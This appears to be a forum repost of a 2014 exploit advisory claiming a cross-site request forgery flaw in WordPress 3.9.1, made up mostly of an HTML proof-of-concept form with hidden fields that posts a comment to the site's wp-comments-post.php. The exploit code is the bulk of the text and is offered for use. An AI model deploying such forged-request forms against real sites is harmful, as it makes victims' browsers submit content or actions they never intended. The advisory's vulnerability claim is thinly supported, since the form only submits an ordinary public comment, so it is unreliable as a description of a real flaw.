توییت
کد:
# EXPLOIT TITLE:Wordpress 3.9.1-CSRF vulnerability # DATE:21st June,2014 # Author:Avinash Kumar Thapa #URL: localhost/wordpress/ #PATCH/FIX:Not fixed yet. ################################################################################################### Technical Details: This is the new version released by Wordpress. version is 3.9.1(Latest) ##Cross site request Forgery(CSRF) is present in this version at the url shown:http://localhost/wordpress/wp-comments-post.php## ##################################################################################################### Exploit Code: <html> <!-- CSRF PoC - generated by **Avinash Kumar Thapa** --> <body> <form action="http://localhost/wordpress/wp-comments-post.php" method="POST"> <input type="hidden" name="author" value="Anonymous" /> <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="url" value="www.random.com" /> <input type="hidden" name="comment" value="Cross site request Forgery(CSRF)" /> <input type="hidden" name="submit" value="Post Comment" /> <input type="hidden" name="comment_post_ID" value="1" /> <input type="hidden" name="comment_parent" value="0" /> <input type="submit" value="Submit form" /> </form> </body> </html> ---- -- Avinash a.k.a **SPID3R**